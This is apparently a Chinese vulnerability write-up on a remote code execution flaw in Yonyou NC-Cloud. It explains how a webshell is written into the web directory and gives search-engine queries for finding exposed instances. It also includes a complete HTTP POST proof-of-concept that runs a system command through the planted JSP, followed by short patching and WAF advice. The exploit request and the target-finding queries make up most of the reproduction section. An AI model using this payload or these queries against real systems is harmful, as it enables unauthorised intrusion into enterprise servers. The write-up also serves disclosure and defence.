用友-NC-Cloud远程代码执行漏洞[2023-HW]
- 一、漏洞介绍
- 二、资产搜索
- 三、漏洞复现
- PoC
- 小龙POC检测脚本:
- 四、修复建议
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、漏洞介绍
该漏洞是通过请求特定的接口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法进行请求;直接往webapps/nc_web/目录写马。最后访问刚才写的马,调用 Runtime.getRuntime().exec(“command”) 来执行系统命令,并通过getInputStream()获取该命令的输出流;然后IOUtils.toString() 方法将输出流转换为字符串。
二、资产搜索
FOFA:app=“用友-NC-Cloud”
鹰图:web.title=“大型企业数字化平台”
Hunter:web.body=“uap/rbac”
三、漏洞复现
通过接口写马,把马写到web目录:webapps/nc_web/
PoC
POST /0811.jsp?error=bsh.Interpreter HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ifconfig").getInputStream())
小龙POC检测脚本:
小龙POC传送门: 小龙POC工具
四、修复建议
1.更新至最新版本
2.waf配置规则拦截敏感字符:eval(param、param.error等